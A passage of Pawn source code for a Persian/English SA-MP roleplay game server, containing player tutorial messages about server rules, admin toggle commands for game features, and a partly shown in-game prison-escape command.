						SendMessage(i, COLOR_TUT96, "Level 10: Police Departament, FBI, National Guard or Hitman Agency. ");
						SendMessage(i, COLOR_TUT96, "Secondary Job's: Detective, Lawyer, Car Mechanic, Drugs dealer, Arms Dealer, Bus Drive , Trucker , Farmer, Garbageman");
					}
					else if(TutTime1[i] == 80)
					{
						SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Level{FFFF00}_____|");
					}
					else if(TutTime1[i] == 83)
					{
						SendMessage(i, COLOR_TUT96, "As a RolePlay server, you can increase your level by staying online.");
						SendMessage(i, COLOR_TUT96, "To level up need a certain number or Respect Points.");
						SendMessage(i, COLOR_TUT96, "You earn a Respect Point every PayDay (it comes after 60 minutes).");
						SendMessage(i, COLOR_TUT96, "To see how many points you need, you have to write /stats and look at the 'Respect: x/x'.");
						SendMessage(i, COLOR_TUT96, "When you reach the required number of points then you should write /buylevel to do level up (it will cost a some of money). ");
					}
					else if(TutTime1[i] == 101)
					{
						SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Cheats{FFFF00}_____|");
					}
					else if(TutTime1[i] == 104)
					{
						SendMessage(i, COLOR_TUT96, "It is a forbbiden to use hackings applications.");
						SendMessage(i, COLOR_TUT96, "If you see someone who uses hacks, notify us by using /report.");
						SendMessage(i, COLOR_TUT96, "Those who are using hacks will be banned permanently.");
						SendMessage(i, COLOR_TUT96, "Do not forget! Anti-Cheat system works and you will receive permanent ban if you get caught.");
					}
					else if(TutTime1[i] == 116)
					{
						SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Language{FFFF00}_____|");
					}
					else if(TutTime1[i] == 119)
					{
						SendMessage(i, COLOR_TUT96, "Every player must speak in Persian or English.");
						SendMessage(i, COLOR_TUT96, "If you want talk other language then use /b.");
						SendMessage(i, COLOR_TUT96, "Do not used capital letters and please write correctly.");
						SendMessage(i, COLOR_TUT96, "Also, you are not allowed to use nasty words.");
						SendMessage(i, COLOR_TUT96, "Advertisments of other servers will get you to permanent ban.");
					}
					else if(TutTime1[i] == 131)
					{
						SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}The End{FFFF00}_____|");
					}
					else if(TutTime1[i] == 134)
					{
						SendMessage(i, COLOR_TUT96, "I hope you understand what is RolePlay about.");
						SendMessage(i, COLOR_TUT96, "We still want to remember you that you have to read our rules(/rules).");
						SendMessage(i, COLOR_TUT96, "Azin Game wishes you have fun!");
					}

		return 1;
		}
		if(strcmp(cmd, "/tutorialfa", true) == 0)
		{
					 if(TutTime[i] == 3)
					{
						SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Shoroo{FFFF00}_____|");
					}
					else if(TutTime[i] == 6)
					{
						SendMessage(i, COLOR_TUT96, "Salam, Khosh amadid be Server ma (Azin Game) ma yek seri ghavanin haro behetoon neshoon midim.");
						SendMessage(i, COLOR_TUT96, "Tamame Bazikon Ha bayad bedoonan ke che kari ro mitoonan anjam bedan ya che kari ro nemitoonan anjam bedan ");
						SendMessage(i, COLOR_TUT96, "ma ye seri nokte haro dar ekhtiaretoon mizarim, agar soali bood forum maro bekhoonid(too bazi benevisid /forum).");
					}
					else if(TutTime[i] == 20)
					{
						SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Darbare Server{FFFF00}_____|");
					}
					else if(TutTime[i] == 23)
					{
						SendMessage(i, COLOR_TUT96, "In server darbareye mode Role Play hastesh (Mode zendegi).");
						SendMessage(i, COLOR_TUT96, "Ma player haiee ke bekhan inja Death match rah bendazan ro Ban mikonim (baraye 1 rooz).");
						SendMessage(i, COLOR_TUT96, "Esmi ke entekhab mikonid nabayad daraie kalamate gheire akhlaghi bashe vagarna Ban mishid.");
						SendMessage(i, COLOR_TUT96, "be kar bordan kalamate gheyre akhlaghi too server mamnooe.");
						SendMessage(i, COLOR_TUT96, "baraye etelaat bishtar darbare Role Play be Forum ma Sar bezanid (site ma : wWw.Azin Game.iR).");
						SendMessage(i, COLOR_TUT96, "(Shoma mitoonid Forum ro Dar Webpage ma Peida konid : http://wWw.Azin Game.iR).");
					}
					else if(TutTime[i] == 38)
					{
						SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Darbare komak{FFFF00}_____|");
					}
					else if(TutTime[i] == 41)
					{
						SendMessage(i, COLOR_TUT96, "Age shoma ehtiaj be komak darid mitoonid be yeki az helper ha begid(/helpers).");
						SCM(i, COLOR_TUT96, "(baraye darkhaste komak az komak konande ha(helper) az /helpme estefade konid.)");
						SendMessage(i, COLOR_TUT96, "Baraye komak khastan be player ha begid : Salam, mitoonid be man komak konid? ya be English: Hey,Can you Help me?.");
						SendMessage(i, COLOR_TUT96, "be kasi shelik nakon va ba kasi dava nakon.chon in kar to ro farde badi neshoon mide.");
						SendMessage(i, COLOR_TUT96, "shoma mitooni az command haye /call ya /sms estefade konid ta ba kasi sohbat konid.");
						SendMessage(i, COLOR_TUT96, "Shoma mitoonid hamishe forum ro check konid (http://wWw.Azin Game.iR).");
					}
					else if(TutTime[i] == 58)
					{
						SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Shoghl ha va faction ha{FFFF00}_____|");
					}
					else if(TutTime[i] == 61)
					{
						SendMessage(i, COLOR_TUT96, "Age shoma mikhaid ke pool dar biarid bayad yek shoghl ya faction dashte bashid ( baraye didane job ha va peida kardaneshoon az commande (/jobs) estefade konid.");
						SendMessage(i, COLOR_TUT96, "shoma MItoonid too in server Yek faction Va yek Job ba ham dashte bashid.");
						SendMessage(i, COLOR_TUT96, "baraye Ozv shodan dar faction ha Bayad az dakhele forum site too ghesmat application(narm afzar)marboot be har faction, post (ba tavajoh be nemoone post too poste aval) bedin .");
						SendMessage(i, COLOR_TUT96, "Level 3+: Fireman/Paramedic, News Reports, School Instructor, Tow Car Company ya Taxi Driver.");
						SendMessage(i, COLOR_TUT96, "Level 5+ (family ha) : Member Triads, Grove Street, Varrios Los Aztecas, Da Nang Boys, Top Boys, Vagos ya The Ballas.");
						SendMessage(i, COLOR_TUT96, "Level 10+: Member Police Departament, fbi, National Guard, SFPD ya Hitman Agency. ");
						SendMessage(i, COLOR_TUT96, "Shoghl Ha: Detective, Lawyer, Car Mechanic, Drugs Dealer, Arms Dealer, Farmer, Car jacker, Bus Driver, Garbageman, Trucker.");
					}
					else if(TutTime[i] == 77)
					{
						SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Level{FFFF00}_____|");
					}
					else if(TutTime[i] == 80)
					{
						SendMessage(i, COLOR_TUT96, "Dakhele Server Role Play Shoma mitoonid Level Bekharid.");
						SendMessage(i, COLOR_TUT96, "Baraye Level Up Kardan Bayad Shoma Respect Points Dashte Bashid Har Respect point = 1 saat bazi kardan dar server. ");
						SendMessage(i, COLOR_TUT96, "Ma Har Respect Points Ro Har Pay Day midim ( Sare Saat Yek Respect midim )");
						SendMessage(i, COLOR_TUT96, "Baraye Didane inke Shoma chand ta Respect Points darid Va Chand Ta Baraye Kharidane Level Bad Niaz Darid az Command /stats Komak begirid Ke Neveshte Respect:'x/x'.");
						SendMessage(i, COLOR_TUT96, "vaghti Shoma Respect Hatoon Kamel Shod Mesle Respect: 'x/x'.");
						SCM(i, COLOR_TUT96, "Bayad Ba tavajoh be Level Bad Pool Dashte bashid ta level bekharid va har moghe in Pool(dar bazi).");
						SCM(i, COLOR_TUT96, "Va Respect Points ro Dashtid mitoonid baraye Level up az commande /buylevel estefade konid.");
					}
					else if(TutTime[i] == 100)
					{
						SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Taghalob ha va hack ha{FFFF00}_____|");
					}
					else if(TutTime[i] == 103)
					{
						SendMessage(i, COLOR_TUT96, "Be hich onvan az Cheat Ya taghalob Estefade nakonid ke IP shoma Permanently Ban Khahad Shod.");
						SendMessage(i, COLOR_TUT96, "Agar kasi az Cheat ya taghalob estefade mikard sari /report bedid Ta ma oon player ra ban konim.");
						SendMessage(i, COLOR_TUT96, "Ino Be Yad dashte Bashid Ke age Cheat bezanid Anti Cheat haye Ghavie Azin Game Ip shomaro baraye hamishe Ban mikone va digar nemitavanid Vared server shavid!.");
						SendMessage(i, COLOR_TUT96, "English : Do not forget! Anti-Cheat system works and you will receive permanent ban if you get caught.");
					}
					else if(TutTime[i] == 123)
					{
						SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Zaban{FFFF00}_____|");
					}
					else if(TutTime[i] == 126)
					{
						SendMessage(i, COLOR_TUT96, "Tamoome Bazikon Ha Hagh daran ke Ya az zabane English ya Az zabane Farsi Too server Estefade konan dar gheire in soorat Warn Migirid.");
						SendMessage(i, COLOR_TUT96, "Age Shoma Doost Darid Az Zaban Haye Digar dar server estefade konid az /b estefade konid.");
						SendMessage(i, COLOR_TUT96, "az CAPSLOCK moghe neveshtan estefade nakon va lotfan az kalamate dorost estefade kon.");
						SendMessage(i, COLOR_TUT96, "Shoma Hagh nadarid ke az Kalamate Bad estefade konid!.");
						SendMessage(i, COLOR_TUT96, "Tablighat Dar Bare Server Haye digar mesle Esme server ya IP server haye digar ,IP Shomaro Perement ban mikone.");
					}
					else if(TutTime[i] == 136)
					{
						SendMessage(i, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Payan{FFFF00}_____|");
					}
					else if(TutTime[i] == 139)
					{
						SendMessage(i, COLOR_TUT96, "Omid Varam Lahzate khoobo Khoshi ro too servere ma begzaroonid.");
						SendMessage(i, COLOR_TUT96, "age Khastid ke Dobare Tutorial Ro bebinid az '/rules' Ya '/tutorial' estefade konid.");
						SendMessage(i, COLOR_TUT96, "Azin Game Lahzate khoshi Ro baraye shoma arezoo mikone.");
					}

		return 1;
		}
		*/
/*		if(strcmp(cmd, "/tutorial", true) == 0)
		{
				if(PINFO[playerid][pLanguage] == 1)
				{
					TutTime[playerid] += 1;
					 if(TutTime[playerid] == 3)
					{
						SendMessage(playerid, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Shoroo{FFFF00}_____|");
					}
					else if(TutTime[playerid] == 6)
					{
						SendMessage(playerid, COLOR_TUT96, "Salam, Khosh amadid be Server ma (Azin Game) ma yek seri ghavanin haro behetoon neshoon midim.");
						SendMessage(playerid, COLOR_TUT96, "Tamame Bazikon Ha bayad bedoonan ke che kari ro mitoonan anjam bedan ya che kari ro nemitoonan anjam bedan ");
						SendMessage(playerid, COLOR_TUT96, "ma ye seri nokte haro dar ekhtiaretoon mizarim, agar soali bood forum maro bekhoonid(too bazi benevisid /forum).");
					}
					else if(TutTime[playerid] == 20)
					{
						SendMessage(playerid, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Darbare Server{FFFF00}_____|");
					}
					else if(TutTime[playerid] == 23)
					{
						SendMessage(playerid, COLOR_TUT96, "In server darbareye mode Role Play hastesh (Mode zendegi).");
						SendMessage(playerid, COLOR_TUT96, "Ma player haiee ke bekhan inja Death match rah bendazan ro Ban mikonim (baraye 1 rooz).");
						SendMessage(playerid, COLOR_TUT96, "Esmi ke entekhab mikonid nabayad daraie kalamate gheire akhlaghi bashe vagarna Ban mishid.");
						SendMessage(playerid, COLOR_TUT96, "be kar bordan kalamate gheyre akhlaghi too server mamnooe.");
						SendMessage(playerid, COLOR_TUT96, "baraye etelaat bishtar darbare Role Play be Forum ma Sar bezanid (site ma : wWw.Azin Game.iR).");
						SendMessage(playerid, COLOR_TUT96, "(Shoma mitoonid Forum ro Dar Webpage ma Peida konid : http://wWw.Azin Game.iR).");
					}
					else if(TutTime[playerid] == 38)
					{
						SendMessage(playerid, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Darbare komak{FFFF00}_____|");
					}
					else if(TutTime[playerid] == 41)
					{
						SendMessage(playerid, COLOR_TUT96, "Age shoma ehtiaj be komak darid mitoonid be yeki az helper ha begid(/helpers).");
						SCM(playerid, COLOR_TUT96, "(baraye darkhaste komak az komak konande ha(helper) az /helpme estefade konid.)");
						SendMessage(playerid, COLOR_TUT96, "Baraye komak khastan be player ha begid : Salam, mitoonid be man komak konid? ya be English: Hey,Can you Help me?.");
						SendMessage(playerid, COLOR_TUT96, "be kasi shelik nakon va ba kasi dava nakon.chon in kar to ro farde badi neshoon mide.");
						SendMessage(playerid, COLOR_TUT96, "shoma mitooni az command haye /call ya /sms estefade konid ta ba kasi sohbat konid.");
						SendMessage(playerid, COLOR_TUT96, "Shoma mitoonid hamishe forum ro check konid (http://wWw.Azin Game.iR).");
					}
					else if(TutTime[playerid] == 58)
					{
						SendMessage(playerid, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Shoghl ha va faction ha{FFFF00}_____|");
					}
					else if(TutTime[playerid] == 61)
					{
						SendMessage(playerid, COLOR_TUT96, "Age shoma mikhaid ke pool dar biarid bayad yek shoghl ya faction dashte bashid ( baraye didane job ha va peida kardaneshoon az commande (/jobs) estefade konid.");
						SendMessage(playerid, COLOR_TUT96, "shoma MItoonid too in server Yek faction Va yek Job ba ham dashte bashid.");
						SendMessage(playerid, COLOR_TUT96, "baraye Ozv shodan dar faction ha Bayad az dakhele forum site too ghesmat application(narm afzar)marboot be har faction, post (ba tavajoh be nemoone post too poste aval) bedin .");
						SendMessage(playerid, COLOR_TUT96, "Level 3+: Fireman/Paramedic, News Reports, School Instructor, Tow Car Company ya Taxi Driver.");
						SendMessage(playerid, COLOR_TUT96, "Level 5+ (family ha) : Member Triads, Grove Street, Varrios Los Aztecas, Da Nang Boys, Top Boys, Vagos ya The Ballas.");
						SendMessage(playerid, COLOR_TUT96, "Level 10+: Member Police Departament, fbi, National Guard, SFPD ya Hitman Agency. ");
						SendMessage(playerid, COLOR_TUT96, "Shoghl Ha: Detective, Lawyer, Car Mechanic, Drugs Dealer, Arms Dealer, Farmer, Car jacker, Bus Driver, Garbageman, Trucker.");
					}
					else if(TutTime[playerid] == 77)
					{
						SendMessage(playerid, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Level{FFFF00}_____|");
					}
					else if(TutTime[playerid] == 80)
					{
						SendMessage(playerid, COLOR_TUT96, "Dakhele Server Role Play Shoma mitoonid Level Bekharid.");
						SendMessage(playerid, COLOR_TUT96, "Baraye Level Up Kardan Bayad Shoma Respect Points Dashte Bashid Har Respect point = 1 saat bazi kardan dar server. ");
						SendMessage(playerid, COLOR_TUT96, "Ma Har Respect Points Ro Har Pay Day midim ( Sare Saat Yek Respect midim )");
						SendMessage(playerid, COLOR_TUT96, "Baraye Didane inke Shoma chand ta Respect Points darid Va Chand Ta Baraye Kharidane Level Bad Niaz Darid az Command /stats Komak begirid Ke Neveshte Respect:'x/x'.");
						SendMessage(playerid, COLOR_TUT96, "vaghti Shoma Respect Hatoon Kamel Shod Mesle Respect: 'x/x'.");
						SCM(playerid, COLOR_TUT96, "Bayad Ba tavajoh be Level Bad Pool Dashte bashid ta level bekharid va har moghe in Pool(dar bazi).");
						SCM(playerid, COLOR_TUT96, "Va Respect Points ro Dashtid mitoonid baraye Level up az commande /buylevel estefade konid.");
					}
					else if(TutTime[playerid] == 100)
					{
						SendMessage(playerid, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Taghalob ha va hack ha{FFFF00}_____|");
					}
					else if(TutTime[playerid] == 103)
					{
						SendMessage(playerid, COLOR_TUT96, "Be hich onvan az Cheat Ya taghalob Estefade nakonid ke IP shoma Permanently Ban Khahad Shod.");
						SendMessage(playerid, COLOR_TUT96, "Agar kasi az Cheat ya taghalob estefade mikard sari /report bedid Ta ma oon player ra ban konim.");
						SendMessage(playerid, COLOR_TUT96, "Ino Be Yad dashte Bashid Ke age Cheat bezanid Anti Cheat haye Ghavie Azin Game Ip shomaro baraye hamishe Ban mikone va digar nemitavanid Vared server shavid!.");
						SendMessage(playerid, COLOR_TUT96, "English : Do not forget! Anti-Cheat system works and you will receive permanent ban if you get caught.");
					}
					else if(TutTime[playerid] == 123)
					{
						SendMessage(playerid, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Zaban{FFFF00}_____|");
					}
					else if(TutTime[playerid] == 126)
					{
						SendMessage(playerid, COLOR_TUT96, "Tamoome Bazikon Ha Hagh daran ke Ya az zabane English ya Az zabane Farsi Too server Estefade konan dar gheire in soorat Warn Migirid.");
						SendMessage(playerid, COLOR_TUT96, "Age Shoma Doost Darid Az Zaban Haye Digar dar server estefade konid az /b estefade konid.");
						SendMessage(playerid, COLOR_TUT96, "az CAPSLOCK moghe neveshtan estefade nakon va lotfan az kalamate dorost estefade kon.");
						SendMessage(playerid, COLOR_TUT96, "Shoma Hagh nadarid ke az Kalamate Bad estefade konid!.");
						SendMessage(playerid, COLOR_TUT96, "Tablighat Dar Bare Server Haye digar mesle Esme server ya IP server haye digar ,IP Shomaro Perement ban mikone.");
					}
					else if(TutTime[playerid] == 136)
					{
						SendMessage(playerid, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Payan{FFFF00}_____|");
					}
					else if(TutTime[playerid] == 139)
					{
						SendMessage(playerid, COLOR_TUT96, "Omid Varam Lahzate khoobo Khoshi ro too servere ma begzaroonid.");
						SendMessage(playerid, COLOR_TUT96, "age Khastid ke Dobare Tutorial Ro bebinid az '/rules' Ya '/tutorial' estefade konid.");
						SendMessage(playerid, COLOR_TUT96, "Azin Game Lahzate khoshi Ro baraye shoma arezoo mikone.");
					}
		   }
					if(PINFO[playerid][pLanguage] == 1)
				{
					TutTime1[playerid] += 1;
					if(TutTime1[playerid] == 3)
					{
						SendMessage(playerid, COLOR_Jooje, "|_____Tutorial: {FFFFFF}The Beginning{FFFF00}_____|");
					}
					else if(TutTime1[playerid] == 6)
					{
						SendMessage(playerid, COLOR_TUT96, "Hello there, I see you're new, we'll show you a quick Tutorial.");
						SendMessage(playerid, COLOR_TUT96, "Firstly, all new players need to know what should or shouldn't on this server.");
						SendMessage(playerid, COLOR_TUT96, "We'll give you some information, so please pay attention to avoid additional questions.");
					}
					else if(TutTime1[playerid] == 18)
					{
						SendMessage(playerid, COLOR_Jooje, "|_____Tutorial: {FFFFFF}About Server{FFFF00}_____|");
					}
					else if(TutTime1[playerid] == 21)
					{
						SendMessage(playerid, COLOR_TUT96, "This server is a RolePlay.");
						SendMessage(playerid, COLOR_TUT96, "We don't accept players who don't respect the rules or come here for DeathMach");
						SendMessage(playerid, COLOR_TUT96, "The name that you have chosen matters a lot, each player can choose what name he/she likes.");
						SendMessage(playerid, COLOR_TUT96, "We recommend you to choose legible name like: Andrew, Thomas, Matt.");
						SendMessage(playerid, COLOR_TUT96, "If you want to know more about RPG, visit our forum.");
						SendMessage(playerid, COLOR_TUT96, "(You can find the forum on our webpage: http://wWw.Azin Game.iR)");
					}
					else if(TutTime1[playerid] == 36)
					{
						SendMessage(playerid, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Help{FFFF00}_____|");
					}
					else if(TutTime1[playerid] == 39)
					{
						SendMessage(playerid, COLOR_TUT96, "If you're confused and you would like to know more information, ask a player or a helper(/helpers).");
						SendMessage(playerid, COLOR_TUT96, "Use common sentences like: 'Hey, can you help me?.");
						SendMessage(playerid, COLOR_TUT96, "Don't start shout at someone, because it will make you lock bad.");
						SendMessage(playerid, COLOR_TUT96, "Use commands /call or /sms (if you have cellphone) to talk with someone.");
						SendMessage(playerid, COLOR_TUT96, "You can also access our forum (http://wWw.Azin Game.iR) to receive more help.");
					}
					else if(TutTime1[playerid] == 56)
					{
						SendMessage(playerid, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Job's{FFFF00}_____|");
					}
					else if(TutTime1[playerid] == 59)
					{
						SendMessage(playerid, COLOR_TUT96, "If you want to earn money you must have a job.");
						SendMessage(playerid, COLOR_TUT96, "On this server you can have two type of jobs, one primary and one secondary.");
						SendMessage(playerid, COLOR_TUT96, "Primay job's:(you must make an application on the forum and requires a certain level for each faction).");
						SendMessage(playerid, COLOR_TUT96, "Level 3+: Fireman/Paramedic, News Reports, School Instructor, Tow Car Company or Taxi Drive.");
						SendMessage(playerid, COLOR_TUT96, "Level 5+(Families): Member Triads, Grove Street, Varrios Los Aztecas, Da Nang Boys, Top Boys, Vagos or The Ballas.");
						SendMessage(playerid, COLOR_TUT96, "Level 10: Police Departament, fbi, National Guard, SFPD or Hitman Agency. ");
						SendMessage(playerid, COLOR_TUT96, "Secondary Job's: Detective, Lawyer, Car Mechanic, Drugs Dealer, Arms Dealer, Bus Drive , Trucker , Farmer, Garbageman");
					}
					else if(TutTime1[playerid] == 80)
					{
						SendMessage(playerid, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Level{FFFF00}_____|");
					}
					else if(TutTime1[playerid] == 83)
					{
						SendMessage(playerid, COLOR_TUT96, "As a RolePlay server, you can increase your level by staying online.");
						SendMessage(playerid, COLOR_TUT96, "To level up need a certain number or Respect Points.");
						SendMessage(playerid, COLOR_TUT96, "You earn a Respect Point every PayDay (it comes after 60 minutes).");
						SendMessage(playerid, COLOR_TUT96, "To see how many points you need, you have to write /stats and look at the 'Respect: x/x'.");
						SendMessage(playerid, COLOR_TUT96, "When you reach the required number of points then you should write /buylevel to do level up (it will cost a some of money). ");
					}
					else if(TutTime1[playerid] == 101)
					{
						SendMessage(playerid, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Cheats{FFFF00}_____|");
					}
					else if(TutTime1[playerid] == 104)
					{
						SendMessage(playerid, COLOR_TUT96, "It is a forbbiden to use hackings applications.");
						SendMessage(playerid, COLOR_TUT96, "If you see someone who uses hacks, notify us by using /report.");
						SendMessage(playerid, COLOR_TUT96, "Those who are using hacks will be banned permanently.");
						SendMessage(playerid, COLOR_TUT96, "Do not forget! Anti-Cheat system works and you will receive permanent ban if you get caught.");
					}
					else if(TutTime1[playerid] == 116)
					{
						SendMessage(playerid, COLOR_Jooje, "|_____Tutorial: {FFFFFF}Language{FFFF00}_____|");
					}
					else if(TutTime1[playerid] == 119)
					{
						SendMessage(playerid, COLOR_TUT96, "Every player must speak in Persian or English.");
						SendMessage(playerid, COLOR_TUT96, "If you want talk other language then use /b.");
						SendMessage(playerid, COLOR_TUT96, "Do not used capital letters and please write correctly.");
						SendMessage(playerid, COLOR_TUT96, "Also, you are not allowed to use nasty words.");
						SendMessage(playerid, COLOR_TUT96, "Advertisments of other servers will get you to permanent ban.");
					}
					else if(TutTime1[playerid] == 131)
					{
						SendMessage(playerid, COLOR_Jooje, "|_____Tutorial: {FFFFFF}The End{FFFF00}_____|");
					}
					else if(TutTime1[playerid] == 134)
					{
						SendMessage(playerid, COLOR_TUT96, "I hope you understand what is RolePlay about.");
						SendMessage(playerid, COLOR_TUT96, "We still want to remember you that you have to read our rules(/rules).");
						SendMessage(playerid, COLOR_TUT96, "Azin Game wishes you have fun!");
					}
				}
		return 1;
		} */


/*
if(!strcmp(cmd,"/firegun",true))
{
	if(PlayerInfo[playerid][pAdmin]>=9)
	{
	   new str[MAX_PLAYERS];
	   if(GunFire[playerid])GunFire[playerid]=false;
	   else GunFire[playerid]=true;
	   format(str,sizeof(str),"[Admin-Warn]: {FFFFFF}Admin %s has %s the fire gun system for %s",PlayerInfo[playerid][pName],(GunFire[playerid]==false)?("disabled"):("enabled"),(PlayerInfo[playerid][pSex]==1)?("himself"):("herself"));
	   SendAdminMessage(COLOR_AdminWarn,str);
	}
	else return SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command.");
	return 1;
}
*/



		/*if(strcmp(cmd, "/PrisonBreak", true) == 0 || strcmp(cmd, "/Pb", true) == 0)
		{
		  if(PINFO[playerid][pAdmin] < 10) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
		 if(PrisonBreak == 1) {
		 //SCM(playerid,COLOR_SINA,"PrisonBreak:{FF0000} Disabled.");
		 GetPlayerName(playerid, sendername, sizeof(sendername));
		 format(string, sizeof(string), "[Admin-Warn]:{FFFFFF} Admin %s disabled the prison breaking in server.", sendername);
		ABroadCast(COLOR_AdminWarn,string,1);
		PrisonBreak = 0;
	 }
		else if(PrisonBreak == 0) {
		 //SCM(playerid,COLOR_SINA,"PrisonBreak:{00FF00} Enabled.");
		 GetPlayerName(playerid, sendername, sizeof(sendername));
		 format(string, sizeof(string), "[Admin-Warn]:{FFFFFF} Admin %s enabled the prison breaking in server.", sendername);
		 PrisonBreak = 1;
		ABroadCast(COLOR_AdminWarn,string,1);
		 }
	 return 1;
		}*/
		/*if(strcmp(cmd, "/theftsystem", true) == 0)
		{
		  if(PINFO[playerid][pAdmin] < 10) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
		 if(Dozdi == 1) {
		 //SCM(playerid,COLOR_SINA,"Theft-System:{FF0000} Disabled.");
		 GetPlayerName(playerid, sendername, sizeof(sendername));
		 format(string, sizeof(string), "[Admin-Warn]:{FFFFFF} Admin %s disabled thefting in server.", sendername);
		ABroadCast(COLOR_AdminWarn,string,1);
		Dozdi = 0;
	 }
		else if(Dozdi == 0) {
		 //SCM(playerid,COLOR_SINA,"Theft-System:{00FF00} Enabled.");
		 GetPlayerName(playerid, sendername, sizeof(sendername));
		 format(string, sizeof(string), "[Admin-Warn]:{FFFFFF} Admin %s enabled thefting in server.", sendername);
		 Dozdi = 1;
		ABroadCast(COLOR_AdminWarn,string,1);
		 }
	 return 1;
		}*/
		if(strcmp(cmd, "/headshot", true) == 0)
		{
		  if(PINFO[playerid][pAdmin] < 10) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
		 if(HeadShot == 1) {
		 //SCM(playerid,COLOR_SINA,"HeadShot:{FF0000} Disabled.");
		 GetPlayerName(playerid, sendername, sizeof(sendername));
		 format(string, sizeof(string), "[Admin-Warn]:{FFFFFF} Admin %s disabled the headshoting in server.", sendername);
		ABroadCast(COLOR_AdminWarn,string,1);
		HeadShot = 0;
	 }
		else if(HeadShot == 0) {
		 //SCM(playerid,COLOR_SINA,"HeadShot:{00FF00} Enabled.");
		 GetPlayerName(playerid, sendername, sizeof(sendername));
		 format(string, sizeof(string), "[Admin-Warn]:{FFFFFF} Admin %s enabled the headshoting in server.", sendername);
		 HeadShot = 1;
		ABroadCast(COLOR_AdminWarn,string,1);
		 }
	 return 1;
		}
		
		
		
		

		
		
		
		
		if(strcmp(cmd, "/nwarn", true) == 0)
		{
		  if(PINFO[playerid][pAdmin] < 11) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
		 if(NaWarn == 1) {
		 //SCM(playerid,COLOR_SINA,"New Warn:{FF0000} Disabled.");
		 GetPlayerName(playerid, sendername, sizeof(sendername));
		 format(string, sizeof(string), "[Admin-Warn]:{FFFFFF} Admin %s disabled the new-staff news.", sendername);
		ABroadCast(COLOR_AdminWarn,string,1);
		NaWarn = 0;
	 }
		else if(NaWarn == 0) {
		 SCM(playerid,COLOR_SINA,"New Warn:{00FF00} Enabled.");
		 GetPlayerName(playerid, sendername, sizeof(sendername));
		 format(string, sizeof(string), "[Admin-Warn]:{FFFFFF} Admin %s enabled the new-staff news.", sendername);
		ABroadCast(COLOR_AdminWarn,string,1);
		 NaWarn = 1;
		 }
	 return 1;
		}


		// Farar System Successfuly Added by Sina ;))
		// Start
		/*if(strcmp(cmd, "/escape", true) == 0 || strcmp(cmd, "/farar", true) == 0)
	{
			 if(PlayerInfo[playerid][pJailTime] >= 1)
			{
			if(PrisonBreak == 1)
				{
				if(PlayerInfo[playerid][pAdminJailed] == 1)
				{
				SCM(playerid, COLOR_YELLOW2, "Error: You can't do a escape because you are Admin Jailed.");
				return 1;
				}
				if(farartimer[playerid] == 1) return SendMessage(playerid, COLOR_CRS3, "You already have escaped from the Prison wait 1 hour and try again.");
				if(PINFO[playerid][pJailTime] < 3500)
				{
				SCM(playerid, COLOR_YELLOW2, "Error: Your jail-time must be higher than 3,500 seconds.");
				}
				if(IsACop(playerid)) return SCM(playerid,COLOR_PD,"Error: Cops can't escape from prison.");
				PlayerInfo[playerid][pJailTime] = 0;
				SaveKonVal(playerid, "pJailTime", PINFO[playerid][pJailTime]);
					SetPlayerPos(playerid,1772.4910,-1548.5918,9.9133);
					SetPlayerWantedLevel(playerid,GetPlayerWantedLevel(playerid)+6);
                WantedKamKonTimerValid[playerid] = true;
                WantedTimerEZ[playerid] = 900;
                PlayerTextDrawShow(playerid, WantedTTD[playerid]);
					SetPlayerCriminal(playerid,INVALID_PLAYER_ID, "PrisonBreak",6);
					CP[playerid] = 1148585;
					SetPlayerCheckpoint(playerid,-1438.7596,-1544.8333,102.2578, 1.0);
				SetPlayerInterior(playerid,0);
				SetPlayerVirtualWorld(playerid,0);
				if(IsInFaction(playerid)) { SetPlayerSkin(playerid,PlayerInfo[playerid][fSkin]); }
				else { SetPlayerSkin(playerid,PlayerInfo[playerid][cSkin]); }
				//if(PINFO[playerid][pAdmin] > 12) SetPlayerSkin(playerid, 217);
				Mahal[playerid] = 9999;
				TooHouse[playerid] = 9999;
				TooBiz[playerid] = 9999;
				PlayerTextDrawHide(playerid,JailTextDraw[playerid]);
				TogglePlayerControllable(playerid,1);
				RemovePlayerAttachedObject(playerid, 1);
				SetPlayerSpecialAction(playerid,SPECIAL_ACTION_NONE);
				PlayerHandsCuffed[playerid] = 0;
				PlayerCuffed[playerid] = 0;
				SetPlayerToTeamColor(playerid);
				SetPlayerInterior(playerid, 0);
				SCM(playerid,COLOR_SINA2,"PrisonBreak Hacker: {FF0000}You escaped from prison. Go to marked location on your map before you get arrested.");
					format(string, sizeof(string), "[Dep-Warn]: {0069FF}%s escaped from prison.", PlayerInfo[playerid][pName]);
					SendFamilyMessage(1, COLOR_BLUE, string);
					SendFamilyMessage(2, COLOR_BLUE, string);
					SendFamilyMessage(3, COLOR_BLUE, string);
					farartimer[playerid] = 1;
					SetTimerEx("farartime", 3600000, 0, "d", playerid);
				}
		   else if(PrisonBreak == 0)
				{
